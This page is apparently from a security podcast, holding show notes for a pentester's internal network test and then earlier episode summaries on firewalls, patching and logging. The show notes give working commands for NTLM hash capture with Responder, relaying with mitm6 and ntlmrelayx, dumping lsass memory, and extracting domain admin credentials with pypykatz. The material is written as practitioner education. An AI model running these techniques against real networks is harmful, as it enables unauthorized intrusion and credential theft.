7MS #423: Tales of Internal Pentest Pwnage - Part 18
7 Minute Security15 Heinä 2020

7MS #423: Tales of Internal Pentest Pwnage - Part 18

This is an especially fun tale of pentest pwnage because it involves D.D.A.D. (Double Domain Admin Dance) and varying T.T.D.A. (Time to Domain Admin). The key takeaways I want to share from these tests are as follows:

  • Responder.py -i eth0 -rPv is AWESOME. It can make the network rain hashes like manna from heaven!
  • Testing the egress firewall is easy with this script. Consider this SANS article for guidance on ports to lock down.
  • Testing for MS14-025 is easy with this site.
  • mitm6 and ntlmrelayx can work really well together to rain shells if you follow this article. It's especially handy/focused when you create a targets.txt that looks something like this:
smb://CORP\Administrator@192.168.195.2 smb://CORP\Administrator@192.168.195.3 smb://CORP\brian.admin@192.168.195.7 192.168.195.7 192.168.195.10

Then save that as your targets.txt and run ntlmrelayx with ./ntlmrelayx.py -tf /targets.txt -socks -smb2support. From there, once you get active socks connections, you can connect to them directly with a full interactive shell with something like proxychains smbclient //192.168.195.2/ -U CORP/brian.admin

  • I ran into a weird issue with CrackMapExec where the --local-auth flag didn't seem to be working so I ended up trying the binary version and then it worked like a champ!

  • Looking to dump lsass a "clean" way? Try RDPing in directly to the victim machine, opening up taskmgr.exe, click the Details tab, then right-click lsass.exe and choose Create dump file and bam, done.

  • Wanna spin up a quick SMB share from your Kali box? Try smbserver.py -smb2support share /share

  • Then, once you've pulled back the lsass.dmp file, you can rip through it easily with:

pip3 install pypykatz sudo pypykatz lsa minidump lsass.dmp > lsass.txt

Then comb through lsass.txt and hopefully there will be some delicious and nutritious DA creds there for you to much on!

Jaksot(689)

7MS #9: Information Security for the Whole Family (audio)

7MS #9: Information Security for the Whole Family (audio)

In this episode I talk about how being an infosec guy has ruined my family’s life (well, not really) Download: Episode 9: Information Security for the Whole Family (audio) Show notes: To keep peace in your household, I’d recommend making sweeping network changes when your family members aren’t around (i.e. changing the wifi password :-)…

29 Maalis 20147min

7MS #8: CISSP – Is That the Cert for Me? (audio)

7MS #8: CISSP – Is That the Cert for Me? (audio)

In this episode I talk about my experience prepping for the CISSP exam. Download: Episode 8: CISSP – Is That the Cert for Me? (audio) Show notes: I used this book as my primary study tool. It comes with a whole slew of companion materials like a pre-assessment test, flashcards and 3 full practice exams.…

22 Maalis 20147min

7MS #7: External Vulnerabilities that Byte (audio)

7MS #7: External Vulnerabilities that Byte (audio)

Episode lucky #7!!! In this episode I talk about external network vulnerabilities that we see in many of our assessments – some of which are pretty easy to clear up. Download: Episode 7: External Vulnerabilities that Byte (audio) Show notes: RC4 – a risk that we find just about anywhere SSL is used, but in…

15 Maalis 20147min

7MS #6: Fun Firewall Rules – part 2 (audio)

7MS #6: Fun Firewall Rules – part 2 (audio)

In this episode I continue talking about some basic firewall rules that many organizations don’t have in place. Download: Episode 6: Fun Firewall Rules – part 2 (audio) Show notes: Limit outbound DNS requests to just the ISP servers (or whatever external servers you use). Anytime a firewall rule is changed, perform a vulnerability scan…

8 Maalis 20147min

7MS #5: Fun Firewall Rules – part 1 (audio)

7MS #5: Fun Firewall Rules – part 1 (audio)

In this episode I talk about some basic firewall rules that many organizations don’t have in place. Download: Episode 5: Fun Firewall Rules – part 1 (audio) Show notes: Block outbound port TCP 25 for all devices except your mail server(s). If you use a third party mail filter like Postini or Securence, ensure that…

1 Maalis 20147min

7MS #4: Patch Strategies: Part Deux (audio)

7MS #4: Patch Strategies: Part Deux (audio)

In this episode I continue talking about some dos and donts of patch strategies – this time talking about enterprise level gear. Download: Episode 4: Patch Strategies: Part Deux (audio) Show notes: There are often two trains of thought in regards to enterprise gear patching (like routers, switches, firewalls). 1. If it ain’t broke, don’t…

22 Helmi 20146min

7MS #3: Patch Strategies: Part 1 (audio)

7MS #3: Patch Strategies: Part 1 (audio)

In this episode I talk about some trends (and problems) we’re seeing on the patching front – specifically OS and third-party apps. Download: Episode 3: Patch Strategies: Part 1 (audio) Show notes: Most organizations have the Microsoft side of the house patched well – but the third party apps (Java/Flash/Reader/etc.)? Not so much…but that’s just…

13 Helmi 20147min

7MS #2: The Importance of Logging and Alerting! (audio)

7MS #2: The Importance of Logging and Alerting! (audio)

In this episode I talk about how a client of ours learned a hard lesson: that the lack of logging/alerting makes for a pretty miserable investigation after they were breached. Download: Episode 2: The Importance of Logging and Alerting! (audio) Show notes: Public-facing terminal servers without 2FA basically have a sign on their back that…

1 Helmi 20147min

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